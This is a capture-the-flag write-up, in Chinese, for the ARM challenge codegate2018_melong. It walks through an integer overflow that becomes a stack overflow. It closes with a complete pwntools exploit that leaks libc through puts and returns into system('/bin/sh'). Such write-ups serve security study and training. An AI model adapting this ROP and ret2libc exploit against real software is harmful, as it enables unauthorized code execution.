解题所涉知识点:
泄露或修改内存数据:
- 堆地址:
- 栈地址:
- libc地址:使用got表和plt表泄露数据 puts
- BSS段地址:
劫持程序执行流程:ARM_ROP && 整数溢出转栈溢出 && ARM_ret2libc
获得shell或flag:调用libc中的system
题目类型:
ARM_Pwn
相关知识点:
信息收集总结
题目信息:
bash
┌──(kali㉿kali)-[~/.../Pwn/BUU/ARM/codegate2018_melong]
└─$ checksec --file=melong
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fort
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 196 Symbols No 0
┌──(kali㉿kali)-[~/.../Pwn/BUU/ARM/codegate2018_melong]
└─$ file ./melong
./melong: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2c55e75a072020303e7c802d32a5b82432f329e9, not stripped
libc版本:
wp借鉴:ARM PWN:Codegate2018_Melong详细讲解-爱代码爱编程 (icode.best)
ctf-wiki ARM ROP Codegate2018_Melong题解_elf 32-bit lsb executable, arm, eabi5 version 1 (s-CSDN博客
ARM PWN:Codegate2018_Melong详细讲解_pwn arm melong-CSDN博客
核心伪代码分析:
存在利用的的代码:
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v7[0] = 0;
tag = 0;
puts("Welcome to the BPSEC gym\n");
while ( 2 )
{
puts("1. Check your bmi");
puts("2. Exercise");
puts("3. Register personal training");
puts("4. Write daily record");
puts("5. Have some health menu");
puts("6. Out of the gym\n");
printf("Type the number:");
_isoc99_scanf("%d", &chiceidx);
switch ( chiceidx )
{
case 1:
check(&tag, &v6);
continue;
case 2:
if ( !tag )
goto LABEL_5;
exercise(&tag, &v6);
continue;
case 3:
if ( tag )
v7[0] = PT();
else
LABEL_5:
check_first();
continue;
case 4:
if ( v7[0] )
write_diary(v7, input);
else
puts("you should take personal training first!!");
continue;
case 5:
diet_menu(v7);
goto LABEL_13;
case 6:
LABEL_13:
puts("See you again :)");
return 0;
default:
puts("Invalid number :(");
continue;
}
}
}
这是一道菜单题目,可以又很多选项!发现PT函数存在问题!我们可以想通过先输入1,再输入3就可以进入存在漏洞的函数
c
size_t PT()
{
size_t size; // [sp+4h] [bp-10h] BYREF
void *ptr; // [sp+8h] [bp-Ch]
int i; // [sp+Ch] [bp-8h]
puts("Let's start personal training");
puts("How long do you want to take personal training?");
_isoc99_scanf("%d", &size); // 在这里输入-,就会导致识别成正数
ptr = malloc(size); // malloc(-1)申请堆块失败!
if ( ptr == exc2 ) // 这里的.bss:00023060 exc2 DCD 0 exc会变为
{
puts("Okay, start to exercise!");
for ( i = 0; i < size; ++i )
{
puts("you are getting healthy..");
sleep(1u);
}
free(ptr);
return size; // 返回0xffffffff
}
else
{
puts("Check your bmi again!!");
free(ptr);
return 0;
}
}
在这里存在整数溢出函数,通过输入-1造成retrun返回0xffffffff
最后通过该函数实现栈溢出,将main函数的返回地址劫持:
c
_DWORD *__fastcall write_diary(_DWORD *result, void *a2)
{
unsigned __int8 nbytes; // [sp+Fh] [bp-5h]
nbytes = *result;
if ( nbytes )
{
read(0, a2, nbytes); // nbytes的大小被控制为0xff,但是传入的变量只能存储52个字节
return printf("you wrote %s\n", a2);
}
return result;
}
由于nbytes的大小可以控制,所以可以造成溢出!
但是要先解释main函数的死循环才可以触发
攻击思路总结
c
payload1 = b'a'*0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr)*8
第一次栈溢出调用puts的plt表获取libc的地址
payload2 = cyclic(0x54) + p32(pop_r0_ret) + p32(next(libc.search(b"/bin/sh"))) + p32(libc.sym['system'])
第二次栈溢出调用system函数获得shell
脚本:
python
from pwn import *
sh = process(["qemu-arm", "-L", "./", "./melong"])
elf = ELF("./melong", checksec = False)
libc = ELF("./lib/libc.so.6", checksec = False)
context.log_level = "debug"
def check(height, weight):
sh.sendlineafter(":", "1")
sh.sendlineafter(" : ", str(height))
sh.sendlineafter(" : ", str(weight))
def PT(size):
sh.sendlineafter(":", "3")
sh.sendlineafter("?\n", str(size))
def write_diray(payload):
sh.sendlineafter(":", "4")
sh.send(payload)
def logout():
sh.sendlineafter(":", "6")
pop_r0_ret = 0x00011bbc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
check(1,1) #完成对1选项执行流程
PT(-1) #在3选项中输入负数使得后面read()函数能够造成栈溢出
payload1 = b'a'*0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr)*8 #puts.got作为puts.plt的参数,返回main函数,不知道为什么最后要乘8,如果你知道的话希望能够在评论区指点一下
write_diray(payload1)
logout()
sh.recvuntil("See you again :)\n")
leak = u32(sh.recvn(4)) #泄露
libc.address = leak - libc.sym['puts'] #计算libc基地址
check(1,1)
PT(-1)
payload2 = cyclic(0x54) + p32(pop_r0_ret) + p32(next(libc.search(b"/bin/sh"))) + p32(libc.sym['system']) #/bin/sh字符串作为system函数的参数,拿shell
write_diray(payload2)
logout()
sh.interactive()